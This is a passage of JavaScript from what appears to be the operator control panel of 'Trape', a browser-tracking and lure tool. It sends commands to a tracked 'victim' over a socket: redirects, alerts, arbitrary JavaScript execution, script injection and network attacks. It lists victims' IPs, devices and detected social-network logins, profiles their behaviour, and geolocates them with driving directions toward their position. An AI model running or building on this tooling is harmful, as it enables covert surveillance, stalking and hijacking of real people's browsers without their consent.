$('#txtTrapeControl-BoxTab-Redirect').val()}}); \n        });\n    });\n\n    $('#btnTrapeControl-BoxTab-Alert').on('click', function(event) {\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'alert', 'message' : $('#txtTrapeControl-BoxTab-Alert').val()}}); \n        });\n    });\n\n    $('#btnTrapeControl-BoxTab-Execute').on('click', function(event) {\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'execute', 'message' : $('#txtTrapeControl-BoxTab-Execute').val()}}); \n        });\n    });\n\n    $('#btnTrapeControl_RunCode').on('click', function(event){\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'jscode', 'message' : $('#txtTrapeControl_RunCode').val()}}); \n        });\n    });\n\n    $('#btnTrapeControl_InjectCode').on('click', function(event){\n        event.preventDefault();\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'jsscript', 'message' : $('#txtTrapeControl_InjectCode').val()}}); \n        });\n    });\n\n    var voicesType = [\n        'UK English Female',\n        'Spanish Latin American Female',\n        'UK English Male',\n        'Latin Male'\n    ];\n\n    $(document).delegate('.TrapeControl-BoxTab--Form---buttonsVoice----btn', 'click', function(event){\n        event.preventDefault();\n        var vt = voicesType[$(this).attr('data-vt')];\n        checkUserStatus(function(){\n          socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'talk', 'message' : $('#txtTrapeControl_BoxTab_Speech').val(), 'voice' : vt}}); \n        });\n    });\n\n    function checkUserStatus(callback){\n      if ($('#lblTrapeControl_NavigationMode_Status').text() == 'Online'){\n        callback();\n        $('.TrapeControl-Preview--NotificationAlert---define').hide();\n        $('.TrapeControl-Preview--NotificationAlert').fadeIn(300).delay(2600).fadeOut(600);\n        $('.TrapeControl-Preview--NotificationAlert---success').fadeIn(300).delay(2600).fadeOut(600);\n      } else {\n        $('.TrapeControl-Preview--NotificationAlert---define').hide();\n        $('.TrapeControl-Preview--NotificationAlert').fadeIn(300).delay(2600).fadeOut(600);\n        $('.TrapeControl-Preview--NotificationAlert---offline').fadeIn(300).delay(2600).fadeOut(600);\n      }\n    }\n\n    $('.TrapeControl-BoxTab--Form, .TrapeControl-BoxTab--FormRight').on('submit', function(event) {\n        event.preventDefault();\n        $(this).find('button').trigger('click');\n    });\n\n    $(document).delegate('.TrapeControl-History--Logs---log----Delete', 'click', function(event) {\n        $(this).hide();\n        $(this).parent('div').find('a').hide();        \n        $(this).parent('div').find('div').hide();\n        var tds = '';\n        tds += '<div class=\"TrapeControl-History--Logs---log----ConfirmDeleteBox\">';\n            tds +='<p><span class=\"TrapeControl-History--Logs---log----ConfirmDeleteBox-----message\"><i class=\"icon-trash\"></i> Are you sure that you want to delete this row?</span>';\n            tds +='<div class=\"TrapeControl-History--Logs---log----ConfirmDeleteBox-----Buttons\">'\n            tds +='<a href=\"#\" class=\"TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes\">Yes</a>';\n            tds +='<a href=\"#\" class=\"TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo\">No, cancel</a>';\n            tds +='</div>';\n            tds +='</p>';\n        tds += '</div>'\n        $(this).parent('div').append(tds);\n    });\n\n    $(document).delegate('.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo', 'click', function(event) {\n        $(this).parent('div').parent('div').parent('div').find('a').show();        \n        $(this).parent('div').parent('div').parent('div').find('div').show();\n        $(this).parent('div').parent('div').remove();\n    });\n\n    $(document).delegate('.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes', 'click', function(event) {\n        var code = $(this).parent('div').parent('div').parent('div').find('.TrapeControl-History--Logs---zonePreview----code').text();\n        var obj = this;\n\n        $.ajax({\n            url: '/' + window.rm_p,\n            data: {vId : code},\n            dataType: \"json\",\n            type: 'POST',\n            success: function(response) {\n                if (response.status = 'OK'){\n                    $(obj).parent('div').parent('div').parent('div').parent('div').remove();\n                }\n            },\n            error: function(error) {\n            }\n        });\n        \n    });\n\n    $('.TrapeControl-Preview--box---Mapbox----putNameLog').on('submit', function(event){\n      event.preventDefault();\n      $.ajax({\n            url: '/pn',\n            data: {vId : user_active, 'n' : $('.TrapeControl-Preview--box---Mapbox----putNameLog-----input').val()},\n            dataType: \"json\",\n            type: 'POST',\n            success: function(response) {\n                if (response.status = 'OK'){\n                    \n                }\n            },\n            error: function(error) {\n            }\n        });\n    });\n\n    $('#txtTrapeControl_SelectPlayAttack').on('change', function(event){\n        if ($(this).val() != ''){\n            socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'network', 'message' : $(this).val()}});\n        }\n    });\n\n});\n\n/* Here is defined, a behavioral supposition of a user or victim */\nfunction profiling(value) {\n    var behavior = 'Unknown';\n    if (value != undefined) {\n        behavior = 'User';\n        if (value.indexOf('Facebook') >= 0) {   \n            behavior = 'Common';\n        }\n        if (value.indexOf('Instagram') >= 0) {   \n            behavior = 'Common';\n        }\n        if (value.indexOf('Messenger') >= 0) {   \n            behavior = 'Common';\n        }\n        if (value.indexOf('Airbnb') >= 0) {   \n            behavior = 'Traveller';\n        }\n        if (value.indexOf('Udemy') >= 0) {   \n            behavior = 'Student';\n        }\n        if (value.indexOf('Khanacademy') >= 0) {   \n            behavior = 'Student';\n        }\n        if (value.indexOf('Square') >= 0) {   \n            behavior = 'Merchant';\n        }\n        if (value.indexOf('Meetup') >= 0) {   \n            behavior = 'Meeting manager';\n        }\n        if (value.indexOf('Patreon') >= 0) {   \n            behavior = 'Good Samaritan';\n        }\n        if (value.indexOf('Patreon') >= 0 || value.indexOf('PayPal') >= 0) {   \n            behavior = 'Good Samaritan';\n        }\n        if (value.indexOf('Disqus') >= 0) {   \n            behavior = 'Publisher';\n        }\n        if (value.indexOf('Twitch') >= 0) {   \n            behavior = 'Gamer';\n        }\n        if (value.indexOf('Udemy') >= 0 || value.indexOf('Khanacademy') >= 0) {   \n            behavior = 'Tech student';\n        }\n        if (value.indexOf('Square') >= 0 || value.indexOf('PayPal') >= 0) {   \n            behavior = 'Merchant';\n        }\n        if (value.indexOf('Spotify') >= 0 || value.indexOf('Youtube') >= 0) {   \n            behavior = 'Musician';\n        }\n        if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0)   {   \n            behavior = 'Common';\n        }\n        if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0 && value.indexOf('Messenger') >= 0 )   {   \n            behavior = 'Very social';\n        }\n        if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0 && value.indexOf('Twitter') >= 0) {   \n            behavior = 'Marketer';  \n        }\n        if (value.indexOf('Medium') >= 0 || value.indexOf('Reddit') >= 0) {   \n            behavior = 'Geek';  \n        }\n        if (value.indexOf('Snapchat') >= 0 || value.indexOf('Instagram') >= 0) {   \n            behavior = 'Photographer';  \n        }\n        if (value.indexOf('Bitbucket') >= 0 || value.indexOf('Github') >= 0) {   \n            behavior = 'Developer';  \n        }\n        if (value.indexOf('Airbnb') >= 0 || value.indexOf('Foursquare') >= 0) {   \n            behavior = 'Traveller';  \n        }\n        if (value.indexOf('Slack') >= 0 || value.indexOf('Hackernews') >= 0) {   \n            behavior = 'Entrepreneur';  \n        }\n        if (value.indexOf('Slack') >= 0 && value.indexOf('Hackernews') >= 0 && value.indexOf('Reddit') >= 0) {    \n            behavior = 'Entrepreneur';  \n        }\n        if (value.indexOf('Bitbucket') >= 0 && value.indexOf('Github') >= 0 && value.indexOf('PayPal') >= 0 && value.indexOf('Reddit') >= 0) {   \n            behavior = 'Hacker';  \n        }\n        if (value.indexOf('Medium') >= 0 && value.indexOf('Bitbucket') >= 0 && value.indexOf('Github') >= 0 && value.indexOf('PayPal') >= 0 && value.indexOf('Reddit') >= 0 && value.indexOf('Hackernews') >= 0 && value.indexOf('Airbnb') >= 0 && value.indexOf('Twitter') >= 0 && value.indexOf('Spotify') >= 0 && value.indexOf('Youtube') >= 0) {   \n            behavior = 'Tech-lover';  \n        }\n\n    }\n\n    return behavior;\n} \n\nfunction dataSync() {\n    $.ajax({\n            url: '/get_data',\n            data: null,\n            dataType: \"json\",\n            type: 'POST',\n            success: function(response) {\n                var htmlData = '';\n                var locations = [];\n                var chkLocations = 0;\n                var tmpId = '';\n                var networks = [];\n                $.each(response.n, function(index, val) {\n                    if (tmpId != val[0]) {\n                        networks[val[0]] = [];\n                        tmpId = val[0];\n                    }\n\n                    networks[val[0]].push(val[3]);\n                });\n\n                $('#lnkTrapeControl_InjectCode').attr('href', response.ic);\n                $('#lnkTrapeControl_InjectCode').text(response.ic);\n\n                setSocialImpact(response.d.length);\n                if (response.d.length > 0) {\n                    $.each(response.d, function(index, val) {\n                        var userType = profiling(networks[val[0]]);\n                        chkLocations = locations.indexOf(val[15]);\n                        if (chkLocations < 0) {\n                            locations.push(val[15]);\n                        }\n\n                        if ($(\".TrapeControl-ViewDetails\").hasClass(\"active\")){\n                          if (val[0] == user_active){\n                            User.getDetails();\n                          }\n                        }\n\n                        htmlData += '<div class=\"TrapeControl-History--Logs---log\">';\n\n                          if (val[6] == 'android' || val[6] == 'iphone'){\n                            htmlData += '<span class=\"TrapeControl-History--Logs---logDevice----mobile\"></span>';\n                          } else {\n                            htmlData += '<span class=\"TrapeControl-History--Logs---logDevice----desktop\"></span>';\n                          }\n                          htmlData += '<div class=\"TrapeControl-History--Logs---logData\">';\n                          if (val[30] == ''){\n                            htmlData += '';\n                          } else{\n                            htmlData += '<span class=\"TrapeControl-History--Logs---logData----InitialNameLog\">' + val[30].substring(0, 1).toUpperCase() + '</span>';\n                          }\n                            htmlData += '<a class=\"TrapeControl-History--Logs---logData----victimIP\" target=\"_blank\" href=\"http://' + val[14] +  '\">' + val[14] +  '<span class=\"TrapeControl-History--Logs---logData----lineVertical\"></span>' + '<small class=\"c-' + val[9] + '\">' + val[9] + '</small>' + '<span class=\"TrapeControl-History--Logs---logData----requests\"><span class=\"TrapeControl-History--Logs---logData----iconRequests\"></span>' + val[25] + '</span><span class=\"TrapeControl-History--Logs---logData----lineVertical\"></span>';\n                                if (networks[val[0]] != undefined){\n                                    htmlData += '<span class=\"TrapeControl-History--Logs---logData----services\"><span class=\"TrapeControl-History--Logs---logData----iconServices\"></span>' + networks[val[0]].length + '</span>';\n                                }  else{\n                                    htmlData += '<span class=\"TrapeControl-History--Logs---logData----services\"><span class=\"TrapeControl-History--Logs---logData----iconServices\"></span>0</span>';\n                                }\n                            htmlData += '</a>';\n                            htmlData += '<span class=\"TrapeControl-History--Logs---logData----countryTime\"><strong>' + val[13] + '</strong> on ' + val[2] + '</span>';\n                          htmlData += '</div>';\n                          htmlData += '<div class=\"TrapeControl-History--Logs---zonePreview\">';\n                            htmlData += '<div class=\"TrapeControl-History--Logs---zonePreview----code\">' + val[0].substring(0, 5) + '</div> ';\n                            htmlData += '<a class=\"TrapeControl-History--Logs---zonePreview----button\" href=\"#\" data-vid=\"' + val[0] + '\" button-trape-detail=\"show\"><span class=\"icon-database\"></span> details <span class=\"icon-angle-right\"></span></a>' + '<div class=\"TrapeControl-History--Logs---log----Delete\"><i class=\"icon-times\"></i></div>';\n                          htmlData += '</div>';\n                          htmlData += '<div class=\"TrapeControl-History--Logs---centerData\">';\n                            htmlData += '<div class=\"TrapeControl-History--Logs---centerData----osBrowser\">';\n                              htmlData += '<p class=\"TrapeControl-History--Logs---centerData----osBrowser-----browser\"><strong><span class=\"logs-iconDEvice icon-' + val[5].toLowerCase() + '\"></span></strong> ' + val[5].charAt(0).toUpperCase() + val[5].slice(1) + ' </p>';\n                              htmlData += '<p class=\"TrapeControl-History--Logs---centerData----osBrowser-----os\"><strong><span class=\"logs-iconDEvice icon-' + val[6] + '\"></span></strong> ' + val[6] + '</p>';\n                            htmlData += '</div>';\n                            htmlData += '<div class=\"TrapeControl-History--Logs---RefererBadge\"><span class=\"TrapeControl-History--Logs---RefererBadge----ref\">ref</span><span class=\"TrapeControl-History--Logs---RefererBadge----domain\">' + val[28] + '</span></div>'\n                            htmlData += '<span class=\"TrapeControl-History--Logs---centerData----behavior\">' + userType + '</span>';\n                          htmlData += '</div>';\n                        htmlData += '</div>';\n                    });\n\n                } else {\n                    htmlData += '<div class=\"TrapeControl-HistoryRequests--NotData\">';\n                      htmlData += 'There are no users available, he shares the lure.';\n                    htmlData += '</div>';\n                }\n\n                $('#listLogs div').remove();\n                $('#listLogs').prepend(htmlData);\n\n                $(\"#usersTotal\").text(response.d.length);\n                $('#locationsTotal').text(locations.length);\n\n                $('#clicksTotal').text(response.c);\n                $('#sessionsTotal').text(response.s);\n                $('#onlineUsers').text(response.o);\n            },\n            error: function(error) {\n                console.log(error);\n                setTimeout(function() {\n                    dataSync(); \n                }, 3000);\n            }\n        });\n\n        $.ajax({\n            url: '/get_requests',\n            data: null,\n            dataType: \"json\",\n            type: 'POST',\n            success: function(response) {\n                var htmlData = \"\";\n                var requests = 0;\n\n                var tmpId = \"\";\n                var tmpTarget = [];\n\n                $.each(response.d, function(index, val) {\n                    if (tmpId != val[0]) {\n                        tmpId = val[0];\n                        requests++;\n                        if (htmlData != '') {\n                            htmlData += '</ul></div></div></div><!-- -->';\n                        }\n\n                        tmpTarget = val[2].split('/');\n                        tmpTarget = tmpTarget[0] + '//' + tmpTarget[2];\n\n                        htmlData += '<!-- -->';\n                        htmlData += '<div class=\"TrapeControl-Requests\">';\n                          htmlData += '<div class=\"TrapeControl-Requests--HeaderData\">';\n                            htmlData += '<div class=\"TrapeControl-Requests--HeaderData---define\">';\n                              htmlData += '<div class=\"TrapeControl-Requests--HeaderData---idRequest\">' + val[1] + '</div>';\n                              htmlData += '<!--<div class=\"TrapeControl-Requests--HeaderData---define----value\">Endpoint: <strong>localhost:8080</strong></div> -->';\n                              htmlData += '<div class=\"TrapeControl-Requests--HeaderData---define----value\">IP user: <strong>' + val[7] +  '</strong></div>';\n                              htmlData += '<div class=\"TrapeControl-Requests--HeaderData---define----value\">Target: <strong>' + tmpTarget + '</strong></div>';\n                              htmlData += '<div class=\"TrapeControl-Requests--HeaderData---define----value\">Date: <strong>' + val[6] + '</strong></div>';\n                            htmlData += '</div>';\n                          htmlData += '</div>';\n                          htmlData += '<div class=\"TrapeControl-Requests--body\">';\n                            htmlData += '<div class=\"TrapeControl-Requests--body---Data\">';\n                              htmlData += '<ul>';\n                    }\n\n                            htmlData += '<div class=\"TrapeControl-Requests--body---Data----view\"><strong>' + (val[3] || val[4]) + ':</strong> ' + val[5] + '</div>';\n                });\n                if (htmlData != '') {\n                    htmlData += '</ul></div></div></div><!-- -->';\n                } else{\n                    htmlData += '<div class=\"TrapeControl-HistoryRequests--NotData\">';\n                      htmlData += 'No user requests yet';\n                    htmlData += '</div>';\n                }\n\n                $('#listRequests div').remove();\n                $('#listRequests').append(htmlData);\n\n                $('#requestsTotal').text(requests);\n                setTimeout(function(){ dataSync(); }, 5000);\n            },\n            error: function(error) {\n                console.log(error);\n                setTimeout(function(){ dataSync(); }, 3000);\n            }\n        });\n}\n\nvar t_map;\n\nvar initMap = function() {\n    try {\n        window.t_map = new google.maps.Map(document.getElementById('cntTrapeControlPreview_Map'), {\n          zoom: 4,\n          center: {lat: 4.6567033, lng: -74.0593867}\n        });\n    }\n    catch(err) {\n        \n    }\n\n    window.markers = [];\n  }\n\nvar loadMap = function(locations){\n    var bounds = new google.maps.LatLngBounds();\n    var cIcon = 'blue';\n\n    for (var i = 0; i < window.markers.length; i++) {\n      window.markers[i].setMap(null);\n    }\n\n    window.markers = [];\n\n    function put_Current_Position_onMap(lat, lon){\n            marker = new google.maps.Marker({\n            position: new google.maps.LatLng(parseFloat(lat), parseFloat(lon)),\n            map: window.t_map,\n            icon: {\n              path: google.maps.SymbolPath.CIRCLE,\n              scale: 5,\n              strokeColor: '#000',\n              strokeWeight: 5, \n              fillColor: '#fff',\n              fillOpacity:1\n            }\n        });\n\n        bounds.extend(marker.position);\n\n        window.markers.push(marker);\n\n        var idPos = window.markers.length - 1;\n\n        $.each(window.markers, function(index, val) {\n            var p = val.position;\n\n             if (index != idPos){\n                var d = getRange(p.lat(), p.lng(), lat, lon);\n                val.setTitle(String(d) + ' Kms');\n             } else{\n                val.setTitle('Current position');\n             }\n        });\n    }\n\n    for (i = 0; i < locations.length; i++) {\n        marker = new google.maps.Marker({\n            position: new google.maps.LatLng(locations[i][1], locations[i][2]),\n            map: window.t_map,\n            icon: {\n              scaledSize: new google.maps.Size(35, 35),\n              url: 'static/img/point-' + cIcon + '.svg'\n            }\n        });\n        \n        cIcon = 'red';\n\n        bounds.extend(marker.position);\n\n        window.markers.push(marker);\n    }\n\n    if (navigator.geolocation){\n        navigator.geolocation.getCurrentPosition(function(objPosition){\n            var lon = objPosition.coords.longitude;\n            var lat = objPosition.coords.latitude;\n            put_Current_Position_onMap(lat, lon);\n            geolocation_callback(lat, lon);\n\n            window.tracking_victim = true;\n\n            f_tracking_victim();\n        }, function(objPositionError) {\n           $.ajax({\n                url: \"https://www.googleapis.com/geolocation/v1/geolocate?key=\" + window.gMapsApiKey,\n                data: {},\n                dataType: \"json\",\n                type: \"POST\",\n                success: function(response, status) {\n                    if (status == 'success'){\n                        var lat = locations[1][1];\n                        var lat = locations[1][2];\n                        put_Current_Position_onMap(lat, lon);\n                        geolocation_callback(response.location.lat, response.location.lng);\n                    } else{\n                        alert(\"Unable to access your position information.\");\n                    }\n                },\n                error: function(error) {\n                    alert(\"Access to the user's position was not allowed.\");\n                }\n            });\n            \n        }, {\n            maximumAge: 75000,\n            timeout: 15000\n        });\n    }\n\n    window.t_map.fitBounds(bounds);\n}\n\nvar fillTab = function(data_action, data){\n    if (data != null){\n        \n        cnt = $('.TrapeControl-BoxTab[data-action=\"' + data_action + '\"]').find('.TrapeControl-Preview--dataShow').find('ul');\n        $(cnt).find('div').remove();\n        \n        var idx = 0;\n        var tds = '';\n        $.each(data, function(index, val) {\n            if (val != null){\n                if (typeof(val) == 'object'){\n                    $.each(val, function(index2, val2) {\n                        if (typeof(val2) == 'object'){\n                            $.each(val2, function(index3, val3) {\n                                 if (typeof(val3) == 'object'){\n                                    $.each(val3, function(index4, val4) {\n                                        if (typeof(val4) == 'object'){\n                                            $.each(val4, function(index5, val5) {\n                                                if (typeof(val5) == 'object'){\n                                                    $.each(val5, function(index6, val6) {\n                                                        if (typeof(val6) == 'object'){\n\n                                                        } else{\n                                                            fillTap_PutCell(index6, val6);\n                                                        }\n                                                    });\n                                                } else {\n                                                    fillTap_PutCell(index5, val5);\n                                                }\n                                            });\n                                        } else{\n                                            fillTap_PutCell(index4, val4);     \n                                        }\n                                    });\n                                 } else{\n                                    fillTap_PutCell(index3, val3);\n                                 }\n                            });\n                        } else{\n                            fillTap_PutCell(index2, val2);\n                        }\n                    });\n                } else{\n                    fillTap_PutCell(index, val);\n                }\n            }\n            \n        });\n\n        if (idx%2 > 0){\n            tds += '<div class=\"TrapeControl-Preview--dataShow---define\">';\n                tds += '<strong></strong> ';\n                tds += '<span></span>';\n            tds += '</div>';\n            $(cnt[Math.ceil(idx%2)]).append(tds);\n        } \n\n        function fillTap_PutCell(ftpc_index, ftpc_val){\n            tds += '<div class=\"TrapeControl-Preview--dataShow---define\">';\n                tds += '<strong>' + String(ftpc_index).replace(/_/gi, ' ') + ': </strong> ';\n                tds += '<span>' + ftpc_val + '</span>';\n            tds += '</div>';\n            $(cnt[Math.ceil(idx%2)]).append(tds);\n            tds = '';\n            idx++;\n        }  \n    }\n}\n\nfunction getRange(lat1,lon1,lat2,lon2) {\n    rad = function(x) {return x*Math.PI/180;}\n    var R = 6378.137; \n    var dLat = rad( lat2 - lat1 );\n    var dLong = rad( lon2 - lon1 );\n    var a = Math.sin(dLat/2) * Math.sin(dLat/2) + Math.cos(rad(lat1)) * Math.cos(rad(lat2)) * Math.sin(dLong/2) * Math.sin(dLong/2);\n    var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));\n    var d = R * c;\n    return d.toFixed(3);\n }\n\n var behaviorText = [\n    'Trape has defined the profile as a ',\n    'Trape has defined behavior as ',\n    'Trape has identified him as a possible '\n ];\n\nfunction f_tracking_victim(){\n    if (navigator.geolocation){\n        navigator.geolocation.getCurrentPosition(function(objPosition){\n            var latlng = new google.maps.LatLng(objPosition.coords.latitude, objPosition.coords.longitude);\n            window.markers[2].setPosition(latlng);\n\n            var objLocation = window.markers[1].getPosition();\n        \n            var vOrigin = objPosition.coords.latitude + ',' + objPosition.coords.longitude;\n            var vDestination = objLocation.lat() + ',' + objLocation.lng();\n\n            window.directionsService.route({\n                  origin: vOrigin,\n                  destination: vDestination,\n                  travelMode: 'DRIVING'\n                }, function(response, status) {\n                if (status === 'OK') {\n                    var vLegs = response.routes[0].legs[0];\n                    if (vLegs != undefined){\n                        if (vLegs.distance != undefined){\n                            if (vLegs.distance.value != undefined){\n                                $('#txtTrapeControl_Distance').text(vLegs.distance.text);\n                                if (vLegs.distance.value < 15){\n                                    $('#txtTrapeControl_Distance').text('you have arrived');\n                                    $('#txtTrapeControl_Distance').removeClass('TrapeControl-Preview--box---Distance----NowDistance');\n                                    $('#txtTrapeControl_Distance').addClass('TrapeControl-Preview--box---Distance----NowTarget');\n                                } else{\n                                    $('#txtTrapeControl_Distance').removeClass('TrapeControl-Preview--box---Distance----NowTarget');\n                                    $('#txtTrapeControl_Distance').addClass('TrapeControl-Preview--box---Distance----NowDistance');\n                                    \n                                }\n                            }\n                        }\n                    }\n                } \n            });\n            if (window.tracking_victim){\n                setTimeout(f_tracking_victim, 30000);\n            }\n        }, function(objPositionError) {\n            if (window.tracking_victim){\n                setTimeout(f_tracking_victim, 10000);\n            }\n            \n        }, {\n            maximumAge: 75000,\n            timeout: 15000\n        });\n    }\n}\n\nfunction geolocation_callback(lat, lon){\n\n    if (window.directionsDisplay != undefined){\n        window.directionsDisplay.setMap(null);\n    }\n\n    window.directionsService = new google.maps.DirectionsService;\n    window.directionsDisplay = new google.maps.DirectionsRenderer;\n\n    window.directionsDisplay.setMap(window.t_map);\n    directionsDisplay.setOptions( { suppressMarkers: true } );\n\n    \n    function calculateAndDisplayRoute() {\n        var objLocation = window.markers[1].getPosition();\n        \n        var vOrigin = lat + ',' + lon;\n        var vDestination = objLocation.lat() + ',' + objLocation.lng();\n\n        window.directionsService.route({\n          origin: vOrigin,\n          destination: vDestination,\n          travelMode: 'DRIVING'\n        }, function(response, status) {\n          if (status === 'OK') {\n            var vLegs = response.routes[0].legs[0];\n            $('.TrapeControl-Preview--box---Distance----subText').text(vLegs.distance.text);\n            $('.TrapeControl-Preview--box---Distance----subTextTime').text(vLegs.duration.text);\n            $('#lblTrapeContol_Address').text(vLegs.end_address)\n            directionsDisplay.setDirections(response);\n          } else {\n            window.alert('Directions request failed due to ' + status);\n          }\n        });\n    }\n    calculateAndDisplayRoute();\n}\n\nvar timeDisconect = function (v_date){\n    v_date = new Date(v_date.replace(' - ', 'T').replace(\" \", \"T\") + \"Z\");\n    var currentDate = new Date();\n    \n    var v_time = v_date.getTime();\n    var currentTime = currentDate.getTime();\n\n    var diference = currentTime-v_time;\n\n    diference = parseInt(((diference/1000)/60)-300);\n\n    var ans = \"\";\n    if (diference < 2) {\n      ans = \"One moment ago\";\n    } else {\n      if (diference < 60) {\n        ans = diference + \" minutes ago\";\n      } else {\n        if (diference < 120) {\n          ans = \"1 hour ago\";\n        } else {\n          if (diference < 1440) {\n            ans = parseInt(diference/60) + \" hours ago\";\n          } else {\n            if (diference < 43200) {\n              ans = parseInt(diference/60/24) + \" days ago\";\n            } else {\n              ans = parseInt(diference/60/24/30) + \" months ago\";\n            }\n          }\n        }\n      }\n    }\n\n    return ans;\n}\n\nvar setSocialImpact = function(total_users){\n  if (total_users > 0){\n    $.ajax({\n      url: '/get_socialimpact',\n      data: null,\n      dataType: \"json\",\n      type: 'POST',\n      success: function(response) {\n        if (response.d.length > 0){\n          var tds = '';\n          var total_interactions = 0;\n          $.each(response.d, function(index, val) {\n             total_interactions += val[1];\n          });\n          $.each(response.d, function(index, val) {\n             tds += '<div class=\"TrapeControl-SocialImpact\">';\n              tds += '<div class=\"TrapeControl-SocialImpact--details\">';\n                tds += '<span class=\"TrapeControl-SocialImpact--Network ' + val[0].toLowerCase() + '\"></span>';\n                tds += '<div class=\"TrapeControl-SocialImpact--details---summary\">';\n                  tds += '<h1 class=\"TrapeControl-SocialImpact--details---summaryNameNetwork\">' + val[0].replace(/\\b\\w/g, l => l.toUpperCase()) + ' <span class=\"TrapeControl-SocialImpact--details---summaryClasification\">#' + (index + 1) + '</span></h1>';\n                tds += '</div>';\n              tds += '</div>';\n              tds += '<div class=\"TrapeControl-SocialImpact--stats\">';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---Item\">';\n                  tds += '<h2 class=\"TrapeControl-SocialImpact--stats---Item----text\"> Impact</h2>';\n                  tds += '<span class=\"TrapeControl-SocialImpact--stats---Item----resultPorcent\">' + (val[1] * 100 / total_users).toFixed(0) + '%</span>';\n                tds += '</div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---lineSeparation\"></div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---Item\">';\n                  tds += '<h2 class=\"TrapeControl-SocialImpact--stats---Item----text\">interactions</h2>';\n                  tds += '<span class=\"TrapeControl-SocialImpact--stats---Item----resultInteractions\">' + val[3] + '</span>';\n                tds += '</div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---lineSeparation\"></div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---Item\">';\n                  tds += '<h2 class=\"TrapeControl-SocialImpact--stats---Item----text\">Sessions</h2>';\n                  tds += '<span class=\"TrapeControl-SocialImpact--stats---Item----result\">' + val[1] + '</span>';\n                tds += '</div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---lineSeparation\"></div>';\n                tds += '<div class=\"TrapeControl-SocialImpact--stats---Item\">';\n                  tds += '<h2 class=\"TrapeControl-SocialImpact--stats---Item----text\">Locations</h2>';\n                  tds += '<span class=\"TrapeControl-SocialImpact--stats---Item----result\">' + val[2] + '</span>';\n                tds += '</div>';\n              tds += '</div>';\n            tds += '</div>';\n          });\n          $('#cntTrapeContro_SocialImpact div').remove();\n          $('#cntTrapeContro_SocialImpact').append(tds);\n        } else{\n          $('#cntTrapeContro_SocialImpact div').remove();\n          \n          var htmlData = '';\n          htmlData += '<div class=\"TrapeControl-HistorySocialImpact--NotData\">';\n            htmlData += 'No networks available yet';\n          htmlData += '</div>';\n          $('#cntTrapeContro_SocialImpact').append(htmlData);\n        }\n      }, error: function(error) {\n        $('#cntTrapeContro_SocialImpact div').remove();\n        console.log(error);\n      }\n    });\n  } else{\n    $('#cntTrapeContro_SocialImpact div').remove();\n    var htmlData = '';\n          htmlData += '<div class=\"TrapeControl-HistorySocialImpact--NotData\">';\n            htmlData += 'No networks available yet';\n          htmlData += '</div>';\n          $('#cntTrapeContro_SocialImpact').append(htmlData);\n  }\n}\n\nwindow.onblur = function(){\n  document.title = \"Hey! back to Trape\";\n}\nwindow.onfocus = function(){\n  document.title = \"Trape: Control Panel\";\n}\n\nvar getCurrentDate = function(){\n  var f = new Date();\n  return f.getFullYear() + \"-\" + zeroComplete(f.getMonth() +1, 2) + \"-\" + zeroComplete(f.getDate(), 2) + \" \" + zeroComplete(f.getHours(), 2) + \":\" + zeroComplete(f.getMinutes(), 2) + \":\" + zeroComplete(f.getSeconds(), 2);\n}\n\nvar daysBetween = function(iniDate, endDate){\n  if (endDate == ('NaN-NaN-NaN')){\n    endDate = getCurrentDate();\n  }\n\n  var iniDate = new Date(iniDate);\n  var endDate = new Date(endDate);\n\n  var day_as_milliseconds = 86400000;\n  var diff_in_millisenconds = endDate - iniDate;\n  var diff_in_days = (diff_in_millisenconds / day_as_milliseconds) + 1;\n\n  return parseInt(diff_in_days);\n}\n\nvar addDaysToDate = function(vDate, days){\n  if (vDate == '--'){\n    return '--'\n  }\n\n  vDate = new Date(vDate);\n  day = vDate.getDate();\n  month = vDate.getMonth()+1;\n  year = vDate.getFullYear();\n\n  vTime = vDate.getTime();\n  milliseconds = parseInt(days*24*60*60*1000);\n  total = vDate.setTime(vTime+milliseconds);\n  day = vDate.getDate();\n  month = vDate.getMonth()+1;\n  year = vDate.getFullYear();\n\n  return year + \"-\" + zeroComplete(month, 2)  + \"-\" + zeroComplete(day, 2);   \n}\n\nfunction zeroComplete(n, length){\n   n = n.toString();\n   while(n.length < length) n = \"0\" + n;\n   return n;\n}\n\nvar timeAgo = function (v_date){\n    if (v_date == '' || v_date == null || v_date == undefined){\n      v_date = getCurrentDate()\n    }\n    v_date = new Date(v_date.replace(' - ', 'T').replace(\" \", \"T\").substring(0, 19) + \"Z\");\n    var currentDate = new Date();\n    \n    var v_time = v_date.getTime();\n    var currentTime = currentDate.getTime();\n\n    var diference = currentTime-v_time;\n\n    diference = parseInt(((diference/1000)/60)-300);\n\n    var ans = \"\";\n    if (diference < 2) {\n      ans = \"One moment ago\";\n    } else {\n      if (diference < 60) {\n        ans = diference + \" minutes ago\";\n      } else {\n        if (diference < 120) {\n          ans = \"1 hour ago\";\n        } else {\n          if (diference < 1440) {\n            ans = parseInt(diference/60) + \" hours ago\";\n          } else {\n            if (diference < 43200) {\n              ans = parseInt(diference/60/24) + \" days ago\";\n            } else {\n              ans = parseInt(diference/60/24/30) + \" months ago\";\n            }\n          }\n        }\n      }\n    }\n\n    return ans;\n}\n\n\nvar User = {\n  getDetails : function(idVictim, detCallback){\n    window.currentUserAddres = null;\n    var behavior = window.user_behavior;\n    if (idVictim === undefined){\n      idVictim = 